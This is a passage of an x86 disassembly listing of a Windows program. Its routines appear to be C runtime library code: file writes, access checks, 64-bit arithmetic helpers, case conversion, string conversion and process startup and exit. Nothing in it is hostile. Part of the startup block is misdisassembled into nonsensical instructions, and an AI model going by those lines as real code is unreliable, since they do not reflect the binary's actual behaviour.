; ---------------------------------------------------------------------------


loc_41D546:				; CODE XREF: sub_41D4D4+47j
					; sub_41D4D4+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_41D591
		test	ecx, ecx
		jz	short loc_41D55A
		push	esi
		call	sub_41DDAB
		test	eax, eax
		pop	ecx
		jnz	short loc_41D5D3


loc_41D55A:				; CODE XREF: sub_41D4D4+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_41D56D
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41D56F
; ---------------------------------------------------------------------------


loc_41D56D:				; CODE XREF: sub_41D4D4+8Aj
		mov	edi, ebx


loc_41D56F:				; CODE XREF: sub_41D4D4+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	loc_422BF6
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D5CA
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_41D5CA


loc_41D58C:				; CODE XREF: sub_41D4D4+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_41D5BA
; ---------------------------------------------------------------------------


loc_41D591:				; CODE XREF: sub_41D4D4+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_41F7AA
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41D5D3
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_41D5BA
		mov	[ebp+arg_C], 1


loc_41D5BA:				; CODE XREF: sub_41D4D4+BBj
					; sub_41D4D4+DDj
		test	ebx, ebx
		jnz	loc_41D512
		mov	eax, [ebp+arg_8]


loc_41D5C5:				; CODE XREF: sub_41D4D4+1Fj
					; sub_41D4D4+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41D5CA:				; CODE XREF: sub_41D4D4+ADj
					; sub_41D4D4+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_41D5D5
; ---------------------------------------------------------------------------


loc_41D5D3:				; CODE XREF: sub_41D4D4+84j
					; sub_41D4D4+CFj
		mov	eax, edi


loc_41D5D5:				; CODE XREF: sub_41D4D4+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_41D5C5
sub_41D4D4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D5DE	proc near		; CODE XREF: sub_41697A+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		call	ds:dword_428098	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41D5FE
		call	ds:dword_42808C	; RtlGetLastWin32Error
		push	eax
		call	sub_4205FF
		pop	ecx


loc_41D5FA:				; CODE XREF: sub_41D5DE+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41D5FE:				; CODE XREF: sub_41D5DE+Dj
		test	al, 1
		jz	short loc_41D61F
		test	[esp+arg_4], 2
		jz	short loc_41D61F
		mov	ds:dword_4DDEB4, 0Dh
		mov	ds:dword_4DDEB8, 5
		jmp	short loc_41D5FA
; ---------------------------------------------------------------------------


loc_41D61F:				; CODE XREF: sub_41D5DE+22j
					; sub_41D5DE+29j
		xor	eax, eax
		retn
sub_41D5DE	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D630	proc near		; CODE XREF: sub_416994+3Fp
					; sub_41AB62+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_41D652
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41D693
; ---------------------------------------------------------------------------


loc_41D652:				; CODE XREF: sub_41D630+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_41D660:				; CODE XREF: sub_41D630+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41D660
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41D68E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41D68E
		jb	short loc_41D68F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41D68F


loc_41D68E:				; CODE XREF: sub_41D630+4Ej
					; sub_41D630+54j
		dec	esi


loc_41D68F:				; CODE XREF: sub_41D630+56j
					; sub_41D630+5Cj
		xor	edx, edx
		mov	eax, esi


loc_41D693:				; CODE XREF: sub_41D630+20j
		pop	esi
		pop	ebx
		retn	10h
sub_41D630	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D6A0	proc near		; CODE XREF: sub_416994+2Dp
					; sub_41AB62+3Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_41D6C1
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_41D711
; ---------------------------------------------------------------------------


loc_41D6C1:				; CODE XREF: sub_41D6A0+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_41D6CF:				; CODE XREF: sub_41D6A0+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41D6CF
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41D6FA
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41D6FA
		jb	short loc_41D702
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_41D702


loc_41D6FA:				; CODE XREF: sub_41D6A0+4Aj
					; sub_41D6A0+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_41D702:				; CODE XREF: sub_41D6A0+52j
					; sub_41D6A0+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41D711:				; CODE XREF: sub_41D6A0+1Fj
		pop	ebx
		retn	10h
sub_41D6A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D720	proc near		; CODE XREF: sub_416AA3+5Fp
					; sub_416AA3+90p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_41D741
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_41D741:				; CODE XREF: sub_41D720+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41D75D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_41D75D:				; CODE XREF: sub_41D720+27j
		or	eax, eax
		jnz	short loc_41D779
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41D7BA
; ---------------------------------------------------------------------------


loc_41D779:				; CODE XREF: sub_41D720+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_41D787:				; CODE XREF: sub_41D720+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_41D787
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41D7B5
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_41D7B5
		jb	short loc_41D7B6
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_41D7B6


loc_41D7B5:				; CODE XREF: sub_41D720+85j
					; sub_41D720+8Bj
		dec	esi


loc_41D7B6:				; CODE XREF: sub_41D720+8Dj
					; sub_41D720+93j
		xor	edx, edx
		mov	eax, esi


loc_41D7BA:				; CODE XREF: sub_41D720+57j
		dec	edi
		jnz	short loc_41D7C4
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41D7C4:				; CODE XREF: sub_41D720+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_41D720	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D7CA	proc near		; CODE XREF: sub_41714F+BFp
					; sub_41714F+12Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, ds:dword_4DDF74
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_41D7FE
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	[eax], bl
		jz	short loc_41D865


loc_41D7E6:				; CODE XREF: sub_41D7CA+30j
		mov	cl, [edx]
		cmp	cl, 61h
		jl	short loc_41D7F7
		cmp	cl, 7Ah
		jg	short loc_41D7F7
		sub	cl, 20h
		mov	[edx], cl


loc_41D7F7:				; CODE XREF: sub_41D7CA+21j
					; sub_41D7CA+26j
		inc	edx
		cmp	[edx], bl
		jnz	short loc_41D7E6
		jmp	short loc_41D865
; ---------------------------------------------------------------------------


loc_41D7FE:				; CODE XREF: sub_41D7CA+11j
		push	esi
		push	edi
		push	1
		push	ebx
		push	ebx
		push	ebx
		push	0FFFFFFFFh
		mov	esi, 200h
		push	[ebp+arg_0]
		push	esi
		push	eax
		call	loc_422DA3
		mov	edi, eax
		add	esp, 20h
		cmp	edi, ebx
		jz	short loc_41D857
		push	edi
		call	sub_41B6C5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_41D857
		push	1
		push	ebx
		push	edi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	ds:dword_4DDF74
		call	loc_422DA3
		add	esp, 20h
		test	eax, eax
		jz	short loc_41D857
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_41C0A0
		pop	ecx
		pop	ecx


loc_41D857:				; CODE XREF: sub_41D7CA+53j
					; sub_41D7CA+61j ...
		push	[ebp+var_4]
		call	sub_41B2A1
		mov	eax, [ebp+arg_0]
		pop	ecx
		pop	edi
		pop	esi


loc_41D865:				; CODE XREF: sub_41D7CA+1Aj
					; sub_41D7CA+32j
		pop	ebx
		leave
		retn
sub_41D7CA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D868	proc near		; CODE XREF: sub_417B38+1A3p

arg_0		= dword	ptr  4

		cmp	ds:dword_43F194, 1
		jle	short loc_41D87F
		push	4
		push	[esp+4+arg_0]
		call	sub_41F735
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41D87F:				; CODE XREF: sub_41D868+7j
		mov	eax, [esp+arg_0]
		mov	ecx, ds:off_43EF88
		mov	al, [ecx+eax*2]
		and	eax, 4
		retn
sub_41D868	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D890	proc near		; CODE XREF: sub_420730+76p
					; sub_420730+88p ...

arg_0		= dword	ptr  4

		cmp	ds:dword_43F194, 1
		jle	short loc_41D8A7
		push	8
		push	[esp+4+arg_0]
		call	sub_41F735
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41D8A7:				; CODE XREF: sub_41D890+7j
		mov	eax, [esp+arg_0]
		mov	ecx, ds:off_43EF88
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_41D890	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D8C0	proc near		; CODE XREF: sub_417F37+1Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jz	short locret_41D90C
		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+8+arg_4]
		or	edx, edi
		and	edx, 3
		jz	short loc_41D90D
		test	eax, 1
		jz	short loc_41D8ED
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41D93A
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41D90A


loc_41D8ED:				; CODE XREF: sub_41D8C0+20j
					; sub_41D8C0+48j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41D93A
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41D93A
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41D8ED


loc_41D90A:				; CODE XREF: sub_41D8C0+2Bj
					; sub_41D8C0+84j
		pop	edi
		pop	esi

locret_41D90C:				; CODE XREF: sub_41D8C0+6j
		retn
; ---------------------------------------------------------------------------


loc_41D90D:				; CODE XREF: sub_41D8C0+19j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_41D942
		repe cmpsd
		jz	short loc_41D942
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_41D935
		cmp	ch, dh
		jnz	short loc_41D935
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_41D935
		cmp	ch, dh


loc_41D935:				; CODE XREF: sub_41D8C0+63j
					; sub_41D8C0+67j ...
		mov	eax, 0


loc_41D93A:				; CODE XREF: sub_41D8C0+26j
					; sub_41D8C0+33j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41D942:				; CODE XREF: sub_41D8C0+55j
					; sub_41D8C0+59j
		test	eax, eax
		jz	short loc_41D90A
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_41D935
		dec	eax
		jz	short loc_41D969
		cmp	dh, ch
		jnz	short loc_41D935
		dec	eax
		jz	short loc_41D969
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_41D935
		dec	eax


loc_41D969:				; CODE XREF: sub_41D8C0+8Fj
					; sub_41D8C0+96j
		pop	edi
		pop	esi
		retn
sub_41D8C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D96C	proc near		; CODE XREF: sub_41824E+6p
					; sub_41826C+48p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_4DDF74, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41D999
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_41DA32
		cmp	eax, 5Ah
		jg	loc_41DA32
		add	eax, 20h
		jmp	loc_41DA32
; ---------------------------------------------------------------------------


loc_41D999:				; CODE XREF: sub_41D96C+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_41D9CD
		cmp	ds:dword_43F194, esi
		jle	short loc_41D9BB
		push	esi
		push	ebx
		call	sub_41F735
		pop	ecx
		pop	ecx
		jmp	short loc_41D9C5
; ---------------------------------------------------------------------------


loc_41D9BB:				; CODE XREF: sub_41D96C+42j
		mov	eax, ds:off_43EF88
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_41D9C5:				; CODE XREF: sub_41D96C+4Dj
		test	eax, eax
		jnz	short loc_41D9CD


loc_41D9C9:				; CODE XREF: sub_41D96C+ADj
		mov	eax, ebx
		jmp	short loc_41DA32
; ---------------------------------------------------------------------------


loc_41D9CD:				; CODE XREF: sub_41D96C+3Aj
					; sub_41D96C+5Bj
		mov	edx, ds:off_43EF88
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41D9F1
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_41D9FA
; ---------------------------------------------------------------------------


loc_41D9F1:				; CODE XREF: sub_41D96C+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_41D9FA:				; CODE XREF: sub_41D96C+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	ds:dword_4DDF74
		call	loc_422DA3
		add	esp, 20h
		test	eax, eax
		jz	short loc_41D9C9
		cmp	eax, esi
		jnz	short loc_41DA25
		movzx	eax, [ebp+var_4]
		jmp	short loc_41DA32
; ---------------------------------------------------------------------------


loc_41DA25:				; CODE XREF: sub_41D96C+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_41DA32:				; CODE XREF: sub_41D96C+16j
					; sub_41D96C+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D96C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DA37	proc near		; CODE XREF: seg000:00418824p
					; sub_41A044+238p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_41DA4E


loc_41DA44:				; CODE XREF: sub_41DA37+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_41DA44


loc_41DA4E:				; CODE XREF: sub_41DA37+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_41DA37	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DA54	proc near		; CODE XREF: seg000:004187F6p
					; seg000:00418807p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_41DB21
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_41DB4E
		cmp	ds:dword_4DDF74, esi
		jnz	short loc_41DAA5
		cmp	edi, esi
		jbe	loc_41DB4E


loc_41DA84:				; CODE XREF: sub_41DA54+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_41DB4E
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_41DA84
		jmp	loc_41DB4E
; ---------------------------------------------------------------------------


loc_41DAA5:				; CODE XREF: sub_41DA54+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, ds:dword_428184
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	ds:dword_4DDF84
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jnz	loc_41DB4D
		call	ds:dword_42808C	; RtlGetLastWin32Error
		cmp	eax, 7Ah
		jz	short loc_41DADF


loc_41DAD0:				; CODE XREF: sub_41DA54+CBj
					; sub_41DA54+F7j
		mov	ds:dword_4DDEB4, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41DB4E
; ---------------------------------------------------------------------------


loc_41DADF:				; CODE XREF: sub_41DA54+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx


loc_41DAE7:				; CODE XREF: sub_41DA54+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41DB09
		mov	edx, ds:off_43EF88
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41DAFE
		inc	eax


loc_41DAFE:				; CODE XREF: sub_41DA54+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_41DAE7


loc_41DB09:				; CODE XREF: sub_41DA54+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	ds:dword_4DDF84
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jnz	short loc_41DB4E
		jmp	short loc_41DAD0
; ---------------------------------------------------------------------------


loc_41DB21:				; CODE XREF: sub_41DA54+Fj
		cmp	ds:dword_4DDF74, esi
		jnz	short loc_41DB34
		push	[ebp+arg_4]
		call	sub_41B1D0
		pop	ecx
		jmp	short loc_41DB4E
; ---------------------------------------------------------------------------


loc_41DB34:				; CODE XREF: sub_41DA54+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	ds:dword_4DDF84
		call	ds:dword_428184	; MultiByteToWideChar
		cmp	eax, esi
		jz	short loc_41DAD0


loc_41DB4D:				; CODE XREF: sub_41DA54+6Bj
		dec	eax


loc_41DB4E:				; CODE XREF: sub_41DA54+1Aj
					; sub_41DA54+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41DA54	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_428720
		push	offset sub_4237BC
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		call	ds:dword_4281B4	; GetVersion
		xor	edx, edx
		mov	dl, ah
		mov	ds:dword_4DDECC, edx
		mov	ecx, eax
		and	ecx, 0FFh
		mov	ds:dword_4DDEC8, ecx
		shl	ecx, 8
		add	ecx, edx
		mov	ds:dword_4DDEC4, ecx
		shr	eax, 10h
		mov	ds:dword_4DDEC0, eax
		xor	esi, esi
		push	esi
		call	sub_41DFF2
		pop	ecx
		test	eax, eax
		jnz	short loc_41DBBF
		push	1Ch
		call	sub_41DC6E
		pop	ecx


loc_41DBBF:				; CODE XREF: seg000:0041DBB5j
		mov	[ebp-4], esi
		call	loc_423606
		call	near ptr 0BF0004h
		pusha
		mov	ds:dword_4DF54C, eax
		call	sub_4234D4
		mov	ds:dword_4DDF28, eax
		call	sub_423287
		call	sub_4231CE
		call	sub_41B974
		mov	[ebp-30h], esi
		lea	eax, [ebp-5Ch]
		push	eax
		call	near ptr 0CB0004h
		mov	ecx, 5579E8h
		add	[ecx+45F69C45h], cl
		rol	byte ptr [ecx],	1
		jz	short loc_41DC0C
		movzx	eax, word ptr [ebp-2Ch]
		jmp	short loc_41DC0F
; ---------------------------------------------------------------------------


loc_41DC0C:				; CODE XREF: seg000:0041DC04j
		push	0Ah
		pop	eax


loc_41DC0F:				; CODE XREF: seg000:0041DC0Aj
		push	eax
		push	dword ptr [ebp-64h]
		push	esi
		push	esi
		call	near ptr 0CD0004h
		pop	edi
		push	eax
		call	loc_401236
		mov	[ebp-60h], eax
		push	eax
		call	sub_41B9A1
		mov	eax, [ebp-14h]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp-68h], ecx
		push	eax
		push	ecx
		call	sub_422FF2
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		push	dword ptr [ebp-68h]
		call	sub_41B9B2

; =============== S U B	R O U T	I N E =======================================



sub_41DC49	proc near		; CODE XREF: sub_41D242+16p
					; sub_42294B+4Dp ...

arg_0		= dword	ptr  4

		cmp	ds:dword_4DDF30, 1
		jnz	short loc_41DC57
		call	sub_423894


loc_41DC57:				; CODE XREF: sub_41DC49+7j
		push	[esp+arg_0]
		call	sub_4238CD
		push	0FFh
		call	ds:off_43CF50
		pop	ecx
		pop	ecx
		retn
sub_41DC49	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DC6E	proc near		; CODE XREF: seg000:0041DBB9p

arg_0		= dword	ptr  4

		cmp	ds:dword_4DDF30, 1
		jnz	short loc_41DC7C
		call	sub_423894


loc_41DC7C:				; CODE XREF: sub_41DC6E+7j
		push	[esp+arg_0]
		call	sub_4238CD
		pop	ecx
		push	0FFh
		call	ds:dword_428068	; ExitProcess
		retn
sub_41DC6E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DC92	proc near		; CODE XREF: sub_41B24B+2Ap
					; sub_423C7E+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, ds:dword_4DE2E0
		jnb	loc_41DD2C
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DE1E0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41DD2C
		push	edi
		call	sub_423BA6
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DD0B
		cmp	edi, 1
		jz	short loc_41DCD9
		cmp	edi, 2
		jnz	short loc_41DCEF


loc_41DCD9:				; CODE XREF: sub_41DC92+40j
		push	2
		call	sub_423BA6
		push	1
		mov	ebp, eax
		call	sub_423BA6
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_41DD0B


loc_41DCEF:				; CODE XREF: sub_41DC92+45j
		push	edi
		call	sub_423BA6
		pop	ecx
		push	eax
		call	ds:dword_42806C	; CloseHandle
		test	eax, eax
		jnz	short loc_41DD0B
		call	ds:dword_42808C	; RtlGetLastWin32Error
		mov	ebp, eax
		jmp	short loc_41DD0D
; ---------------------------------------------------------------------------


loc_41DD0B:				; CODE XREF: sub_41DC92+3Bj
					; sub_41DC92+5Bj ...
		xor	ebp, ebp


loc_41DD0D:				; CODE XREF: sub_41DC92+77j
		push	edi
		call	loc_423B2C
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_41DD28
		push	ebp
		call	sub_4205FF
		pop	ecx
		jmp	short loc_41DD3D
; ---------------------------------------------------------------------------


loc_41DD28:				; CODE XREF: sub_41DC92+8Bj
		xor	eax, eax
		jmp	short loc_41DD40
; ---------------------------------------------------------------------------


loc_41DD2C:				; CODE XREF: sub_41DC92+Ej
					; sub_41DC92+2Fj
		and	ds:dword_4DDEB8, 0
		mov	ds:dword_4DDEB4, 9


loc_41DD3D:				; CODE XREF: sub_41DC92+94j
		or	eax, 0FFFFFFFFh


loc_41DD40:				; CODE XREF: sub_41DC92+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41DC92	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DD45	proc near		; CODE XREF: sub_41B24B+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41DD6E
		test	al, 8
		jz	short loc_41DD6E
		push	dword ptr [esi+8]
		call	sub_41B2A1
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_41DD6E:				; CODE XREF: sub_41DD45+Aj
					; sub_41DD45+Ej
		pop	esi
		retn
sub_41DD45	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DD70	proc near		; CODE XREF: sub_41DE10+2Dp
					; sub_41DE10+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_41DD82
		push	esi
		call	sub_41DE10
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41DD82:				; CODE XREF: sub_41DD70+7j
		push	esi
		call	sub_41DDAB
		test	eax, eax
		pop	ecx
		jz	short loc_41DD92
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41DD92:				; CODE XREF: sub_41DD70+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_41DDA7
		push	dword ptr [esi+10h]
		call	sub_423BE3
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41DDA7:				; CODE XREF: sub_41DD70+26j
		xor	eax, eax
		pop	esi
		retn
sub_41DD70	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DDAB	proc near		; CODE XREF: sub_41B24B+1Ap
					; seg000:0041D444p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
